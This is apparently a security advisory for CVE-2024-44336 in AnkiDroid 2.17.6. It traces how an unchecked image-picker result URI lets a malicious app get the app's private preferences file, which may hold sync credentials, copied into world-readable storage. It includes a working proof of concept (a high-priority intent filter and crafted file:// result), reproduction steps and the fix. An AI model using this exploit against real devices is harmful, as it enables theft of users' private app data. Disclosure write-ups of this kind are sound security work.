CVE-2024-44336 — AnkiDroid Open Source Team · AnkiDroid

Unvalidated implicit intent data lets a malicious app return an internal file:// URI, which AnkiDroid copies into a world-readable cache directory.

AnkiDroid (v2.17.6) lets a user attach an image to a flashcard by launching an implicit ACTION_PICK intent and handing the result to BasicImageFieldController.handleSelectImageIntent(). The handler trusts whatever URI comes back in the result intent without checking where it points. A malicious app installed on the same device can intercept that implicit intent, return a file:// URI pointing at AnkiDroid’s own private storage, and have AnkiDroid copy that internal file into its own external, world-readable cache directory.

Background

An implicit intent doesn’t name a specific app to handle it — Android resolves it at runtime to whichever installed app declares a matching <intent-filter>. When more than one app can handle an action, the user (or, if only one app registers with the exact same filter, the system automatically) picks the handler. This is convenient for interoperability, but it means the app that sent the intent has no guarantee about which app actually produced the result — including no guarantee that the returned data isn’t attacker-crafted.

Intent.ACTION_PICK with mime type image/* is exactly the kind of implicit intent any gallery-like app can register for. Once the picker returns a result via ActivityResultContracts.StartActivityForResult, the calling app receives an Intent object back — and if the calling app treats the data field inside that result as inherently trustworthy (e.g. always a content:// URI from a legitimate gallery), it has no way to distinguish a real picker response from a hostile one.

Root Cause Analysis

Step 1 — the implicit intent is launched with no expectation of who answers it:

// BasicImageFieldController.kt (lines 185–195)
val btnGallery = Button(_activity).apply {
    text = gtxt(R.string.multimedia_editor_image_field_editing_galery)
    setOnClickListener {
        val i = Intent(Intent.ACTION_PICK)
        i.setDataAndType(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/*")
        selectImageLauncher.launch(i)
    }
}

Step 2 — the result is handed to handleSelectImageIntent(), which only null-checks it:

// BasicImageFieldController.kt (lines 443–479)
private fun handleSelectImageIntent(data: Intent?) {
    if (data == null) {
        Timber.e("handleSelectImageIntent() no intent provided")
        showSomethingWentWrong()
        return
    }
    // ...
    val selectedImage = getImageUri(_activity, data)
    if (selectedImage == null) {
        Timber.w("handleSelectImageIntent() selectedImage was null")
        showSomethingWentWrong()
        return
    }

    val internalizedPick = internalizeUri(selectedImage)
    // ...
}

Step 3 — getImageUri() extracts intent.data verbatim, with no scheme or origin check:

// BasicImageFieldController.kt (lines 763–771)
private fun getImageUri(context: Context, data: Intent): Uri? {
    Timber.d("getImageUri for data %s", data)
    val uri = data.data
    if (uri == null) {
        showThemedToast(context, context.getString(R.string.select_image_failed), false)
    }
    return uri
}

There is no check here that the returned URI has a content:// scheme, or that it belongs to a provider AnkiDroid actually trusts. A bare file:///data/data/com.ichi2.anki/... URI passes through untouched.

Step 4 — internalizeUri() stages a destination file in a world-readable cache dir:

// BasicImageFieldController.kt (lines 524–560)
private fun internalizeUri(uri: Uri): File? {
    val internalFile: File
    val uriFileName = getImageNameFromUri(_activity, uri)

    if (uriFileName == null) {
        Timber.w("internalizeUri() unable to get file name")
        showSomethingWentWrong()
        return null
    }
    internalFile = try {
        createCachedFile(uriFileName)
    } catch (e: IOException) {
        Timber.w(e, "internalizeUri() failed to create new file with name %s", uriFileName)
        showSomethingWentWrong()
        return null
    }
    return try {
        val returnFile = FileUtil.internalizeUri(uri, internalFile, _activity.contentResolver)
        Timber.d("internalizeUri successful. Returning internalFile.")
        returnFile
    } catch (e: Exception) {
        Timber.w(e)
        showSomethingWentWrong()
        null
    }
}

createCachedFile() places the destination file inside ankiCacheDirectory:

// BasicImageFieldController.kt (lines 81–84, 365–369)
private var ankiCacheDirectory: String? = null // system provided 'External Cache Dir' with
// "temp-photos" on it
// e.g.  '/self/primary/Android/data/com.ichi2.anki.AnkiDroid/cache/temp-photos'

@Throws(IOException::class)
private fun createCachedFile(filename: String) = File(ankiCacheDirectory, filename).apply {
    deleteOnExit()
}

This is an external cache directory — readable by any app on the device, unlike AnkiDroid’s internal /data/data/com.ichi2.anki/ storage.

Step 5 — the actual copy happens with no source-path validation:

// FileUtil.kt (lines 59–78)
@Throws(IOException::class)
fun internalizeUri(uri: Uri, internalFile: File, contentResolver: ContentResolver): File {
    val inputStream: InputStream = try {
        contentResolver.openInputStream(uri)!!
    } catch (e: Exception) {
        Timber.w(e, "internalizeUri() unable to open input stream from content resolver for Uri %s", uri)
        throw e
    }
    try {
        CompatHelper.compat.copyFile(inputStream, internalFile.absolutePath)
    } catch (e: Exception) {
        Timber.w(e, "internalizeUri() unable to internalize file from Uri %s to File %s", uri, internalFile.absolutePath)
        throw e
    }
    return internalFile
}

contentResolver.openInputStream(uri) will happily open a file:// URI regardless of what path it points to. Chained together, the five steps above mean: whatever file the attacker’s response intent names gets read using AnkiDroid’s own process permissions, then written into a directory every other app on the device can read.

Proof of Concept

The exploit app registers a higher-priority ACTION_PICK / image/* intent filter so it — not a real gallery — answers AnkiDroid’s picker intent:

<activity
    android:name=".MainActivity"
    android:exported="true"
    android:label="@string/app_name"
    android:theme="@style/Theme.AnkiDroidExploit">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
    <intent-filter android:priority="999">
        <action android:name="android.intent.action.PICK"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="image/*"/>
    </intent-filter>
</activity>

Instead of returning a picked image, it returns a file:// URI pointing at AnkiDroid’s shared preferences file and finishes immediately:

var pwnIntent = Intent()
pwnIntent.data = Uri.parse("file:///data/data/com.ichi2.anki/shared_prefs/com.ichi2.anki_preferences.xml")
setResult(RESULT_OK, pwnIntent)
finish()

Reproduction steps:

  1. Install the exploit app alongside AnkiDroid v2.17.6.
  2. In AnkiDroid, add/edit a card and tap the image-attach button, which fires the ACTION_PICK intent.
  3. Because the exploit app registered a higher-priority filter for the same action/mime type, it (not the user’s gallery) receives the intent and immediately returns the crafted file:// result — no user interaction with the exploit app’s UI is required.
  4. AnkiDroid’s handleSelectImageIntent()internalizeUri() copies com.ichi2.anki_preferences.xml from AnkiDroid’s private /data/data/com.ichi2.anki/shared_prefs/ into the world-readable external cache directory (.../Android/data/com.ichi2.anki/cache/temp-photos/).
  5. The exploit app (or any other app on the device) reads the copied file back out of that public cache path.

Video demo: https://youtu.be/HI4nel0vfks

Impact

A malicious app with no special permissions can trigger AnkiDroid into copying files out of its own private /data/data/com.ichi2.anki/ directory into a publicly accessible external cache directory, from which any other app can read them. This includes AnkiDroid’s shared preferences file, which can contain sync credentials and other sensitive app state. The only prerequisite is that the attacker’s app be installed on the device and register an intent filter that outranks (or is the only) handler for ACTION_PICK / image/* at the moment the user attaches an image — no user interaction with the malicious app itself is needed once that filter is in place.

Patch Analysis

The fix shipped in two same-day commits. 4d19c40 (refactor: centralize cache directory interaction) first consolidated the scattered cache-directory logic from BasicImageFieldController, BasicMediaClipFieldController, and CardContentProvider into one shared FileUtil.getAnkiCacheDirectory() function. That set up 2f42b12 (fix: use internal cache directory instead of external cache directory) to land as a small, targeted change: getAnkiCacheDirectory() now returns context.cacheDir instead of context.externalCacheDir. Since every caller — including createCachedFile() in the vulnerable code path — was already routed through that one function, switching its return value to internal storage closes the exposure everywhere at once, without needing to touch internalizeUri() or handleSelectImageIntent() directly. This matches remediation option 3 below: the temporary file is no longer staged anywhere a second app can read it, regardless of what URI an attacker supplies.

Recommended remediation:

  1. Validate the URI as soon as it’s received in handleSelectImageIntent() — reject anything that isn’t a content:// URI from an expected provider, and explicitly reject values containing /data/data/ or the app’s own package name. Apply the same check anywhere else a result URI is processed, not just this one call site.
  2. Delete the cached file immediately after use, regardless of whether the image-add operation succeeds or fails.
  3. Alternatively, stage the temporary file in the app’s internal storage instead of an external cache directory, so it’s never world-readable in the first place.

Timeline

DateEvent
2024-04-25Fix authored (4d19c40, 2f42b12)
2024-04-29Fix merged into main
2025-02-11Public disclosure (NVD)

References